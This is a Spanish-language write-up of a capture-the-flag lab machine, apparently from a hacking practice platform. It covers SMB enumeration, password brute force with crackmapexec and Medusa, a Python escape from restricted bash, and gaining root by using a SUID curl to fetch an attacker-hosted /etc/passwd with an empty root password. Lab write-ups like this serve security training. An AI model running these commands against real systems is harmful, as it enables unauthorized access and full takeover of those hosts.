> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/chmod-4755-write-up.md).

# chmod-4755 write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/SXHF5qLaHxvWvBicLwMw" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/5FL3x11aXpHguMA6qmOk" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH), el 139 (netbios-ssn) y el 445 (netbios-ssn) están abiertos. Así que vamos a usar la herramienta `enum4linux` para listar usuarios con el siguiente comando:

```bash
enum4linux 172.17.0.2
```

<figure><img src="/files/0ytCn6xMS9XQQddDAnfy" alt=""><figcaption></figcaption></figure>

Esto indica que el servidor tiene el usuario `smbuser` y `rabol`. Así que ahora realizaremos un ataque de fuerza bruta con la herramienta `crackmapexec` con el siguiente comando:

```bash
crackmapexec smb 172.17.0.2 -u users.txt -p ../rockyou.txt 
```

<figure><img src="/files/Ydjnw3bJvqV7aY42Tf3H" alt=""><figcaption></figcaption></figure>

Esto indica la contraseña del usuario `radol`, sin embargo, al mirar los directorios disponibles con **smbmap** indica que no puede acceder a ningún directorio.

<figure><img src="/files/FW9byViOaCSKB63ljL66" alt=""><figcaption></figcaption></figure>

Por lo que volveremos a realizar el ataque está vez solo al usuario `smbuser` con el siguiente comando:

```bash
crackmapexec smb 172.17.0.2 -u smbuser -p ../rockyou.txt
```

<figure><img src="/files/UrbmP0x0Cau2GovwTteD" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `smbuser` es `fuckit`. Así que ahora usamos **smbmap** para listar los directorios accesibles con el siguiente comando:

```bash
smbmap -H 172.17.0.2 -u "smbuser" -p "fuckit"
```

<figure><img src="/files/8Vvst16R9qWjBV5kQrO7" alt=""><figcaption></figcaption></figure>

Esto revela que el usuario `smbuser` pude acceder a los directorios `share_secret_only` y `print$`. Sin embargo, después de inspeccionar los dos directorios solo encontramos la nota `nota.txt` en el directorio `share_secret_only` con el siguiente mensaje.

```bash
smbclient //172.17.0.2/share_secret_only/ -U smbuser%fuckit
```

<figure><img src="/files/t00CrIHfdSGfqxl7aWqx" alt=""><figcaption></figcaption></figure>

Como no encontramos nada más interesante, crearemos un diccionario con palabras claves y probaremos a hacer un ataque de fuerza bruta al servicio SSH con **Medusa**. El diccionario contendrá lo siguiente:

```plaintext
fuckit
share_secret_only
rabol
smbuser
W32X86
IA64
COLOR
ARM64
color
W32ALPHA
W32MIPS
x64
WIN40
W32PPC
```

Para realizar el ataque de fuerza bruta ejecutaremos lo siguiente:

```bash
medusa -h 172.17.0.2 -U users.txt -P password -M ssh -n 22 -t 1 -T 1 -f 
```

<figure><img src="/files/FwW2pXBYysLnTL90hcgT" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `rabol` en el servicio SSH es `share_secret_only`, así que iniciamos sesión.

<figure><img src="/files/km5oF5kMIy0zsuQz5Hfs" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima nos encontramos con una bash restringida, por lo que ejecutamos el comando `compgen -c`, el cual indica que podemos ejecutar Pyhton3.

<figure><img src="/files/vOtFjP1UZMgXkzTgZUIf" alt=""><figcaption></figcaption></figure>

Así que lo ejecutamos el interprete para ejecutar lo siguiente:

```bash
python3

>>>import os
>>
>>>os.execl("/bin/bash", "bash", "-p")
```

<figure><img src="/files/GpXtNQR6XLGrDuMIJuc9" alt=""><figcaption></figcaption></figure>

Ahora quedaría añadir la ruta `/bin` a la variable de entorno `$PATH` con el siguiente comando:

```bash
export PATH=/bin
```

Ahora que ya obtuvimos una shell normal, ejecutamos el comando `find / -perm -4000 -ls 2>/dev/null` el cual indica los binarios con permisos SUID activados.

<figure><img src="/files/uEC08Qk80Pka6omxyThd" alt=""><figcaption></figcaption></figure>

Esto indica que podemos ejecutar `curl` como usuario `root`, por lo que crearemos un archivo en nuestra máquina víctima con el cual sobrescribiremos el archivo `/etc/passwd` actual. El archivo que sobrescribiremos contendrá lo siguiente:

```plaintext
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
rabol:x:1001:1001:rabol,,,:/home/rabol:/bin/rbash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
smbuser:x:1000:1000:smbuser,,,:/home/smbuser:/bin/bash
```

Ahora levantamos un servidor con Pyhton en nuestra máquina atacante con el siguiente comando:

```bash
pyhton3 -m http.server 80
```

Y descargamos sobrescribimos el archivo `/etc/passwd` con curl:

```bash
curl 172.17.0.1/passwd -o /etc/passwd
```

Esto permitirá iniciar como usuario root sin necesidad de contraseña.

<figure><img src="/files/Bk4Y03TF0TeE4igkrbUj" alt=""><figcaption></figcaption></figure>
